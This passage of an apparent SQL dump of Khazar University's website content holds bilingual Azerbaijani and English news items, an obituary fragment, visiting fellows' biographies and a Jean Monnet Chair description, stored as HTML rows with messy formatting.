olunmuşdur. O, eyni zamanda müasir Azərbaycan şeirinin də tədqiqatçılarından idi.</p><p>Camal Mustafayevin elmi və pedaqoji fəaliyyəti 70-dən çox elmi və publisistik məqalə və müsahibələrdə, 2 monoqrafiyada öz əksini tapmışdır. O, çoxsaylı ölkə və beynəlxalq səviyyəli konqres, simpozium və konfransların iştirakçısı olmuş, məruzələr etmişdir.</p><p>Camal Mustafayev Azərbaycan fəlsəfəsi, etika və estetikası sahəsində bir sıra elmlər namizədi, elmlər doktoru yetişdirmişdir. O, BDU-nun, Azərbaycan EA-nın Fəlsəfə və Hüquq İnstitutunun müdafiə şuralarının, Xəzər Universiteti Elmi-inzibati Şurasının üzvü olmuşdur.</p><p>Görkəmli alim, səmimi və qayğıkeş insan Camal Mustafayevin xatirəsi onu tanıyanların qəlbində daim yaşayacaqdır.</p><p>Allah rəhmət eləsin!</p><p style=\"text-align:right\"><strong style=\"text-align:right\">Xəzər Universitetinin kollektivi&nbsp;</strong></p>'),(5114,2975,'az','Xəzər Universiteti İnkişaf Mərkəzinin direktoru Dandi Universitetində','2018-ci il fevralın 20-də Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva...','<p>2018-ci il fevralın 20-də Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva Şotlandiya Keyfiyyətin Təminatı Tələbə Tərəfdaşlığının (sparqs) Şotlandiyanın Dandi Universitetində təşkil etdiyi Akademik Nümayəndəliklər Koordinatorlarının görüşündə iştirak etdi. O, ERASMUS+ tərəfindən dəstəklənən beynəlxalq kredit mobilliyi proqramında iştirakının nəticəsi olaraq, Britaniyanın Middlesex Universitetində son 5 ayda apardığı araşdırmaları və tapıntılarını təqdim etdi. Təqdimat ali təhsildə olan nöqsanları əhatə edirdi və tələbə cəlbinin Azərbaycanda universitet idarəçiliyini necə yaxşılaşdıra biləcəyi haqqında idi. O, həmçinin, təqdidat planını və metodologiyasını, məqsədini, ideyasını və araşdırmasında arxalandığı məntiqi təqdim etdi.</p><p>Sparqs  Şotlandiya universitetlərində tələbələrin özləri üçün keyfiyyətli təhsil təcrübəsi əldə edə biləcəyi və həmçinin, başqalarına eyni şeyə nail olmaqda köməklik göstərə biləcəyi mühiti təbliğ edən bir xeyriyyə təşkilatıdır. Sparqs&nbsp;təlimlər, seminarlar, görüşlərin təşkili və sparqs  tərəfindən hazırlanan resurslara çıxışı təmin etməklə, tələbələr, institutlar və ümumilikdə, təhsil sektorunu dəstəkləyir.</p>'),(5115,2975,'en','Head of Development Center Visits University of Dundee','On February 20, 2018, Raziya Isayeva, Head of Development Centre of Khazar University, visited University...','<p>On February 20, 2018, Raziya Isayeva, Head of Development Centre of Khazar University, visited University of Dundee, Scotland, to participate in the Academic Representation Coordinators’ meeting, organized by Student Partnerships in Quality Scotland (sparqs). She presented her research conducted and findings gained at Middlesex University, UK, for the last 5 months, as a result of her participation in the international credit mobility program supported by ERASMUS+.</p><p>The presentation covered the shortcomings in Higher Education and was about how the student engagement could improve the university management in Azerbaijan. She also presented the purpose, main idea, plan, methodology of her research and rationale behind it.</p><p>Sparqs  is a charitable organization which promotes the environment within universities of Scotland, where students can achieve high quality educational experience as well as help others experience the same practice. Sparqs supports students, institutions and the education sector through trainings, workshops, meetings and providing access to the resources developed by sparqs.</p>'),(5116,2978,'az','Xəzər Universitetinin məzunu xəbər saytına müsahibə verdi','2018-ci il fevralın 19-da Banko.az xəbər saytı Xəzər Universiteti Təhsil fakültəsinin məzunu...','<p>2018-ci il fevralın 19-da <strong><em>Banko.az</em></strong> xəbər saytı Xəzər Universiteti Təhsil fakültəsinin məzunu Barat Əlizadə ilə “Gənc biznesmen: “İndi isə bütün böyük adamlar kimi vərdişlərimin quluyam!” başlıqlı müsahibənin mətnini yayınlamışdır.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam\">http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam</a>.</p>'),(4153,2433,'az','“Üzeyir Hacıbəyli alim, musiqişünas, ictimai xadim” mövzusunda konsert -  konfrans keçirildi','Xəzər Universiteti artıq neçə ildir ki, Heydər Əliyev Fondu və Mədəniyyət və Turizm Nazirliyinin təşkilatçılığı ilə keçirilən Üzeyir Hacıbəyli beyməlxalq musiqi festivallarında fəal iştirak...','<p>Xəzər Universiteti artıq neçə ildir ki, Heydər\r\nƏliyev Fondu və Mədəniyyət və Turizm Nazirliyinin təşkilatçılığı ilə keçirilən\r\nÜzeyir Hacıbəyli beyməlxalq musiqi festivallarında fəal iştirak edir. 2017-ci\r\nil sentyabrın 20-də Universitetin Mərmər zalında Üzeyir Hacıbəyli IX Beynəlxalq\r\nMusiqi Festivalı (18-26 sentyabr) çərçivəsində “Üzeyir Hacıbəyli alim,\r\nmusiqişünas, ictimai xadim” mövzusunda konsert -&nbsp; konfrans keçirildi.</p>\r\n<p>Tədbir Azərbaycan Dövlət Himninin ifası ilə\r\nbaşlandı. Dahi bəstəkarın həyat və yaradıcılığına aid slayd-şoular və sənədli\r\nfilm nümayiş etdirildi. </p>\r\n<p>Konsert-konfransı giriş sözü ilə universitetin\r\nMusiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə\r\nSadıqova açdı. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, Xalq artisti, tarzən Ramiz Quliyev, Azərbaycan Bəstəkarlar İttifaqının\r\nkatibi, Əməkdar&nbsp; incəsənət xadimi, Bakı\r\nMusiqi Akademiyasının professoru Zemfira Qafarova, Üzeyir Hacıbəyli ev\r\nmuzeyinin direktoru, Azərbaycan Bəstəkarlar İttifaqının katibi, əməkdar incəsənət\r\nxadimi, professor Sərdar Fərəcov,\r\nƏməkdar&nbsp; incəsənət xadimi, Bakı Musiqi\r\nAkademiyasının professoru Zümrüd Dadaşzadə, Bakı Musiqi Akademiyasının magistr\r\ntələbələri Aysel Mirzəsoy, Məkkə Rəsulzadə və Fəriqə Məmmədzadə tədbirdə çıxış\r\netdilər. Çıxışlarda Üzeyir Hacıbəylinin çoxşaxəli yaradıcılığının müxtəlif cahələrindən\r\ndanışıldı. </p>\r\n<p>Zülfiyyə Sadığovanın\r\nbədii rəhbərliyi ilə konfransın konsert proqramında Xəzər Universitetinin\r\nKamera orkestrinin müşayiəti ilə Üzeyir Hacıbəyli, Müslüm Maqomayev və Aqşin\r\nƏlizadənin əsərləri ifa olundu. Dirijor Bakı Musiqi Akademiyasının müəllimi,\r\nbeynəlxalq müsabiqələr laureatı Cavad Tağızadə,&nbsp;\r\nsolistlər -&nbsp; Müslüm Maqomayef\r\nadına Azərbaycan Dövlət Akademik Filarmoniyasının solisti, Xəzər\r\nUniversitetinin müəllimi Məhsəti Cabbarlı və M. F. Axundov adına Azərbaycan\r\nDövlət Akademik Opera və Balet Teatrının solisti Taleh Yahyayev idi.</p>\r\n<p>&nbsp;Konsert -\r\nseminarda ölkənin musiqi ictimaiyyətinin nümayənfdələri, Xəzər Universitetinin əməkdaşları\r\nvə tələbələri iştirak edirdilər.</p>'),(4154,2433,'en','Concert-Conference was held dedicated to “Uzeyir Hajibeyli, scholar, musician and public figure”','Khazar University has been actively participating at the International Music Festival devoted to Uzeyir Hajibeyli, which was organized conjointly with Heydar Aliyev Foundation...','<p>Khazar\r\nUniversity has been actively participating at the International Music Festival\r\ndevoted to Uzeyir Hajibeyli, which was organized conjointly with Heydar Aliyev\r\nFoundation and the Ministry of Culture and Tourism. On September 20, 2017\r\nwithin the framework of IX Uzeyir Hacibeyli International Music Festival (18-26\r\nseptember) Concert-Conference was held at the University’s Marble Hall\r\ndedicated to “Uzeyir Hajibeyli, scholar, musician and public figure”. The event\r\ncommenced with the performance of the Azerbaijan State Anthem. Slideshows and\r\ndocumentary film about the life and creativity of the great composer were\r\ndemonstrated. Concert-Conference was opened by welcome speech of the Associate\r\nProfessor Zulfiyya Sadigova, pianist and Head of the Department of Music and\r\nFine Arts.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:.0001pt\"\"=\"\">Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, Ramiz Quliyev, People’s Artist and tar player,&nbsp;Zemfira Gafarova, Secretary of the Azerbaijan\r\nComposers’ Union and honored artistic figure and professor of Baku Music\r\nAcademy, Professor Sardar Farajov, Director of the Uzeyir Hajibeyli House\r\nMuseum, honored artistic figure and Secretary of the Azerbaijan Composers’\r\nUnion, honored artistic figure and professor of Baku Music Academy, Zumrud\r\nDadashzade and Master students of the Baku Music Academy Aysel Mirzasoy, Mekke Rasulzade and\r\nFeriqe Mammadzade delivered speech at the event. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:.0001pt\"\"=\"\">During the\r\nspeeches various aspects of Uzeyir Hajibeyli\'s multifaceted creative work were\r\ndiscussed. At the Concert-Conference, under the artistic direction of Zulfiya\r\nSademova, accompanied by the Chamber Orchestra of Khazar University,\r\noutstanding works of Uzeyir Hajibeyli, Muslim Magomayev and Agshin Alizadeh\r\nwere performed. The conductor of the orchestra for this concert was&nbsp;the\r\nlaureate of the international competitions and teacher of Baku Music Academy,\r\nJavad Taghizadeh, andsoloists were – soloist of Azerbaijan State Academic Philharmonia\r\nnamed after Muslim Magomayev, and teacher at Khazar University, Mahsati\r\nJabbarli, as well as soloist of the Azerbaijan State Academic Opera and Ballet\r\nTheater named after M.F Akhundov, Taleh Yahyayev.</p>\r\n<p>Representatives of the music community of the\r\ncountry, staff and students of Khazar University attended the concert.</p>'),(4155,2434,'az','“Xəzər Xəbər”  jurnalının iyul nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il iyul nömrəsi (364-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz...','<p>“Xəzər Xəbər”\r\njurnalının 2017 - ci il iyul nömrəsi (364-cü nömrə) Xəzər Universitetinin mətbəəsində\r\nçapdan çıxmışdır. Jurnalı bu linkdə də\r\noxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(1894,1165,'az','Xəzər Universitetinin müəllimi Türkiyədə keçirələcək beynəlxalq simpoziumun “bilim kurulu”nda','2016-cı il noyabrın 3-dən 5-dəkTürkiyənin Adana şəhərində Türk Tarix Qurumu, Necmettin Erbakan Universiteti, Çukurova Universiteti və İslam Tarixçiləri Dərnəyi birlikdə','<div><p>2016-cı il noyabrın 3-dən 5-dəkTürkiyənin Adana şəhərində Türk Tarix Qurumu, Necmettin Erbakan Universiteti, Çukurova Universiteti və İslam Tarixçiləri Dərnəyi birlikdə “Beynəlxalq Orta Anadolu və Ağ dəniz bəylikləri tarixi, kültürü və mədəniyyəti simpoziumu – III Ramazanoğulları bəyliyi”<strong> </strong>adlısimpozium keçiriləcək. Xəzər Universiteti\r\nAzərbaycan dili və ədəbiyyatı departamentinin müəllimi Elza İsmayılovanın adı elmi\r\nşura (bilim kurulu) üzvləri sırasına daxil edilmişdir. </p>\r\n<p>Daha geniş məlumat\r\nalmaq üçün bu linkə daxil olmaq olar:</p><p><a href=\"https://www.konya.edu.tr/storage/images/web/events/Ramazano%C4%9Fullar%C4%B1%20Duyuru.pdf\">https://www.konya.edu.tr/storage/images/web/events/Ramazano%C4%9Fullar%C4%B1%20Duyuru.pdf</a></p></div>'),(1880,1157,'az','“Dünya” məktəbi Respublika Gününə həsr olunmuş tədbir keçirdi','2016-cı il mayın 27-də Binəqədi rayonunda Xəzər Universitetinin “Dünya” məktəbi, Binəqədi rayon İcra Hakimiyyəti, Yeni Azərbaycan Partiyası Binəqədi rayon təşkilatı və Binəqədi rayon Gənclər və İdman İdarəsinin birgə təşkilatçılığı ilə','<p>2016-cı il\r\nmayın 27-də Binəqədi rayonunda Xəzər Universitetinin “Dünya” məktəbi, Binəqədi\r\nrayon İcra Hakimiyyəti, Yeni Azərbaycan Partiyası Binəqədi rayon təşkilatı və\r\nBinəqədi rayon Gənclər və İdman İdarəsinin birgə təşkilatçılığı ilə müsəlman Şərqində\r\nilk dünyəvi demokratik dövlət olan Azərbaycan Xalq Cümhuriyyətinin\r\nyaradılmasının 98-ci ildönümünə həsr edilmiş bayram tədbiri keçirilmişdir.</p>\r\n<p>Bu haqda\r\nbir sıra mətbu orqanlarda xəbər yayılmışdır. Daha geniş məlumatı bu link vasitəsilə\r\nəldə etmək olar:</p>\r\n<p><a href=\"http://az.trend.az/azerbaijan/society/2539375.html\">http://az.trend.az/azerbaijan/society/2539375.html</a>.&nbsp;</p>'),(446,284,'az','Qonaqlar','Qonaqlar','<p><br></p><h3 style=\"text-align:center\"><strong>QONAQ TƏDQİQATÇILAR</strong></h3><p><br></p><p><img src=\"http://www.khazar.org/files/demo/13_10_23_Kornazheva_copy.jpg\" style=\"border:0px  #000000;width:150px;height:178px;margin:7px;float:left\"></p><p style=\"text-align:justify\">Mimi Kornazeva Bolqarıstanın Ruse Universitetində dosentdir və 1993-cü ildə Bolqarıstanda Avropa Tədqiqatlarının təsisçilərindən biridir. Onun fokuslandığı sahələr arasında Avropa &nbsp;İnteqrasiyası, Avropa İttifaqında çoxsəviyyəli idarəetmə, Beynəlxalq əməkdaşlıq və Avropa layihələri, Avropa Tədqiqatları və Regional Əməkdaşlıq, Avropa Tədqiqatları və Dövlət İdarəçiliyi yer alır. BRIE (Bolqarıstan-Rumıniya Universitetlərarası Avropa Mərkəzi) direktoru olaraq Cənubi Şərqi Avropada ilk sərhəddən kənar (Bolqarıstan-Rumıniya-Almaniya)akademik strukturun yaradılması və inkişafı ilə məşğul olmuşdur. O, müxtəlif tədqiqat layihələrində iştirak etmişdir və hazırda Avropa İttifaqının transsərhəd əməkdaşlıq proqramı çərçivəsində maliyyələşdirilən BRAINS layihəsinin rəhbəridir. O, eyni zamanda, EU PHARE proqramının BRIDGE təhsil layihəsinin rəhbəri olub. Buxarest İqtisadi Tədqiqatlar Akademiyasından Fərqlənmə Diplomu alıb və Ruse Universitetinin və Alimlər Birliyinin ən yaxşı yazıya görə Kristal mükafatına layiq görülmüşdür.&nbsp; &nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><img src=\"http://www.khazar.org/files/demo/14_02_05_Heather_.JPG\" style=\"border:0px #000000;width:150px;height:197px;margin:7px;float:left\"></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\">James Michalec hazırda Nyu-Yorkda Broome İctimai\r\nKollecində (Nyu-York Dövlət Universitetinin) köməkçi professordur. O&nbsp;həm\r\nbiznes, həm də tədris sahəsində kariyerasını qurmuşdur. Evanstonda Northwestern\r\nUniversitetində İqtisadiyyat üzrə bakalavr və Binghamton Dövlət Universitetində\r\nTədris, Tarix və Teatr üzrə magistr dərəcəsi almışdır. Nyu-Yorka köçmədən öncə Virciniya\r\nşəhərində İslam Səudiyyə Akademiyasında BB dünya tarixi, ictimai nitq,\r\niqtisadiyyat və teatr haqqında dərslər tədris etmişdir. O həmçinin aktyordur,\r\nbir neçə qısa hekayə və əsərlərin yazıçısıdır.</p> <p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><br></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><br></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><br></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><br></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;); text-align: justify;\"><img src=\"http://www.khazar.org/files/demo/14_02_06_DeHaan_heather.jpg\" style=\"border:0px #000000;width:147px;height:178px;margin:7px;float:left\">  </p><p style=\"text-align:justify\">Heather D. DeHaan Binghamtonda Nyu-York Dövlət Universitetinin Tarix fakültəsinin dosentidir, burada Rus, Sovet, Şərqi Avropa və şəhərsalma tarixini, eləcə də tarixçiliyi tədris edir. O, Toronto Universitetindən magistr və doktorluq dərəcələrini almışdır. O, bir neçə məqalə dərc etdirmişdir və Sovet planlaşdırma, şəhər inkişafı və arxitektural professional siyasət ilə bağlı çoxlu akademik və ictimai mühazirələr keçmişdir. Onun publikasiyalarına mükafat qazanmş Sovetin qadınlar üçün təbliğatda dini metaforlardan istifadəsi haqqında məqalə (1999) və 1930-cu illərdə Nijni Novqorodun planlaşdırmasına dair mükafatlı dissertasiyasına əsaslanan bir kitabı daxildir (2013). Amerika Tarixi Birliyi, Kanada Slavyan Araşdırmaları Assosiasiyası, Amerikan Slavyan, Şərqi Avropa və Avrasiya Araşdırmaları Assosiasiyası və Urbanizasiya Tarixi Assosiasiyasının fəal üzvüdür. DeHaan hazırda Sovet şəhərsalma inkişafının Bakı ictimai həyatının gündəlik fəaliyyətinə, sosial qarşılıqlı əlaqə və dəyər sistemlərinə necə təsir etdiyini öyrənir.</p><o:p></o:p><br> <p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><br></p> <p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp;\r\n<br></p>'),(447,284,'en','Visiting  Fellows','Visiting  Fellows','<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Visiting Teaching and Research Fellows</strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><img src=\"/files/demo/13_10_23_Kornazheva_copy.jpg\" style=\"width:150px;height:178px;margin:7px;float:left\"></p><p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Mimi Kornazheva&nbsp;is an Associate Professor at the University of Ruse (Bulgaria) and was one of the founders of European Studies in Bulgaria in 1993. Her teaching interests include Еuropean Integration, Multi-level Governance in the EU, International Cooperation and European Projects, European Studies and Regional Cooperation and European Studies and Public Administration. As the Director of BRIE (Bulgarian-Romanian Interuniversity Europe Center) she has been involved in the establishment and development of the first cross-border (Bulgaria-Romania-Germany) academic structure in South Eastern Europe. She has participated in various research projects and currently coordinates project BRAINS (Bulgarian-Romanian Area Identities: Neighbourhood Study), financed within the framework of the EU cross-border cooperation programme. She was a leader of the educational project BRIDGE (Bulgarian-Romanian Initiative for Democracy as a Guard-post of Europe) of EU PHARE programme. She is a holder of a Diplom d’hôneur from the Academy of Economic Studies – Bucharest and the Crystal Prize for Best Paper from the Union of Scientists and University of Ruse.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><img src=\"/files/demo/14_02_05_Heather_.JPG\" style=\"width:150px;height:197px;margin:7px;float:left\"></p><p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">James Michalec&nbsp;is currently adjunct professor of Speech at Broome Community College (of the State University of New York) in Binghamton, New York. &nbsp;His career has spanned both business and teaching. &nbsp;He holds a BA in Economics from Northwestern University in Evanston, Illinois, and Masters in Teaching, History, and Theatre from the State University of New York at Binghamton.&nbsp;Prior to moving to Binghamton, New York, he taught IB world history, AP American history, public speaking, economics, and theatre at the Islamic Saudi Academy, a college preparatory school, in Alexandria, Virginia. &nbsp;He is also an actor and writer of short stories and plays.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><img src=\"/files/demo/14_02_06_DeHaan_heather.jpg\" style=\"width:150px;height:180px;margin:7px;float:left\"></p><p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\">Heather D. DeHaan&nbsp;is Associate Professor of History at the State University of New York at Binghamton, where she teaches Russian, Soviet, East European, and urban history as well as historiography. She received both her masters and doctoral degrees from the University of Toronto, Canada. She has published several articles &nbsp;and given a large number of academic and public lectures on Soviet planning, urban development, and architectural professional politics. Her publications include a prize-winning article on the Soviet use of religious metaphor in propaganda for women (1999) and a book based on her prize-winning dissertation on the planning of Nizhnii Novgorod in the 1930s (2013). An active member of the American Historical Association, the Canadian Association for Slavic Studies, the American Association for Slavic, East European, and Eurasian Studies, and the Urban History Association, DeHaan is currently studying how Soviet urban development impacted Baku\'s community life--people\'s everyday activities, social interaction, and value systems.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><br></p>'),(4194,2428,'en','The subsequent course graduates of potential school directors were granted with certificates','On September 19, 2017, the certificate presentation ceremony, was organised, at the Marble Hall of Khazar University...','<p>On September 19, 2017, the certificate presentation ceremony, was organised, at the Marble Hall of Khazar University, for the 23 graduates of the subsequent training course on ‘School Management’ to potential school directors, the project of Khazar University, conducted in May – July.</p><p>It should also be noted that this training course will continue its work in the current academic year.</p><p>The main aim of the training course, in accordance with the country’s new education strategy and reform, is to increase the knowledge and skills of educational workers who want to work in leadership positions at schools and get them familiar with the world’s effective management practices.</p><p>During the course, the lectures were heard, the presentations were made, discussions and conversations were conducted.</p><p>It should be noted that 468 people have been trained under the project up to now, including 50 people most of whom (this figure is increasing regularly) have been assigned as a director or deputy director.</p><p>Professor Hamlet Isakhanli, the founder of Khazar University and the Chairman of its Board of Directors and Trustees, made a comprehensive speech. In his speech, he mentioned the importance of the course and advised graduates to apply their theoretical and practical knowledge to succeed in their work. Then the ceremony of awarding certificates to graduates started. The certificates were presented by Prof. Hamlet Isakhanli and Dr. Hassan Niknafs, the rector of the university. The memory photos were taken.</p><p>Dr. Hassan Niknafs delivered a speech after the end of certificate presentation ceremony and congratulated the graduates, wished them success in their work.</p><p>Zemfira Mesiyeva spoke on behalf of the graduates and expressed her gratitude to the leadership of Khazar University, Project managers – Elza Samadova, Dean of the School of Education and Raziya Isayeva, Development Director and their lecturers for the high level of training course organization.</p><p>The concert program was presented to the participants of the ceremony organised by the Department of Music and Fine Arts of Khazar University.</p>'),(4139,2422,'az','Tarix və arxeologiya departametinin müəllimi beynəlxalq elmi layihədə iştirak etdi','Xəzər Universiteti Tarix və Arxeologiya departamentinin müəllimi Orxan Zamanov Avropa Komissiyasının “Horizon-2020” Maria Skladovska-Küri Proqramı tərəfindən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Tarix və Arxeologiya departamentinin\r\nmüəllimi Orxan Zamanov Avropa Komissiyasının “Horizon-2020” Maria Skladovska-Küri\r\nProqramı tərəfindən maliyyələşdirilən “Biliyin mübadiləsi və akademik mədəniyyətlər\r\nhumanitar elmlərdə: Avropa və Qara dəniz bölgəsi, 18-ci əsrin sonundan 21-ci əsrə\r\nqədər” layihəsi çərçivəsində Avstriya və Gürcüstanda elmi tədqiqatlar\r\naparmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Layihənin ilk mərhələsi 2017-ci ilin yanvarın 14-də\r\nGürcüstanın Şota Rustaveli adına Batumi Dövlət Universitetində başlandı –layihə\r\nilə bağlı ilk texniki və nəzəri seminar keçirildi. Seminarı professor Karl\r\nKayzer və onun kafedrasının əməkdaşı Dominik Gutmeyr (PhD) aparırdılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">İyunun 12-dən etibarən Xəzər Universiteti və Arxeologiya\r\nvə Etnoqrafiya İnstitutunun əməkdaşı Orxan Zamanov layihə çərçivəsində ilk elmi\r\nezamiyyətini Karl və Frans ad. Qrats Universitetinə etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Orxan Zamanov ezam olunduğu ölkələrdə həmkarları ilə\r\nelmi mübadilə xarakterli görüşlərdə iştirak etdi, layihə çərçivəsində elmi tədqiqat\r\nmövzuları ilə əlaqədar araşdırmalar apardı, həmçinin, arxeoloji abidələrlə\r\ntanış oldu, kitabxanalarda, elmi araşdırma mərkəzlərində və elmi arxivlərdə tədqiqatlarını\r\ndavam etdi.&nbsp;</p>'),(448,285,'en','Jean Monnet Activities ','Jean Monnet Activities ','<p><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p style=\"font-size:x-large\"><strong style=\"font-family:\'times new roman\', times, serif;color:#0033cc\">Jean Monnet Chair of European Integration&nbsp;&nbsp;</strong></p><p><br></p><p style=\"text-align:justify\">Jean Monnet Chair is&nbsp;a prestigious award and a&nbsp;teaching post with a specialization in European Union studies for university professors.&nbsp;Jean Monnet Chairs are named after Jean Monnet (1888-1979), one of the main architects of European integration. As a French politician and diplomat, he drafted the Schuman Plan (1950) that sketched a blueprint for the European Coal and Steel Community (ECSC), a predecessor institution of today’s European Union. He went on to serve as the first President of the High Authority of the ECSC (1952-55), which would later become the European Commission.&nbsp;</p><p style=\"text-align:justify\">In 2014, the Head of our Department <strong><a href=\"https://www.linkedin.com/in/hajizada/\" target=\"_blank\">Assoc.&nbsp;Prof.&nbsp;</a></strong><strong><a href=\"https://www.linkedin.com/in/hajizada/\" target=\"_blank\">Dr. Mukhtar Hajizada</a></strong><a href=\"http://www.khazar.org/en/menus/273/people\" target=\"_blank\"></a>&nbsp;was awarded the Jean Monnet Chair.&nbsp;The mission of the Jean Monnet Chair of our Department is to further deepen teaching in EU studies&nbsp;by introducing non-formal and innovative teaching techniques in the instruction.&nbsp;In addition to teaching, the project intends to promote research and learning on European integration and to promote discussion on contemporary European issues among students and the general public; and to facilitate the exchange of expertise among the scholars of EU studies.</p>\r\n<p style=\"text-align:justify\">We intend to foster research cooperation among the Azerbaijani scholars and postgraduate researchers by providing the services of the EU Studies Centre and by establishing a platform of researchers and scholars. The collaborative initiative within the framework of this project will culminate in an international conference, the first of its kind in Azerbaijan, to promote discussion on European integration. 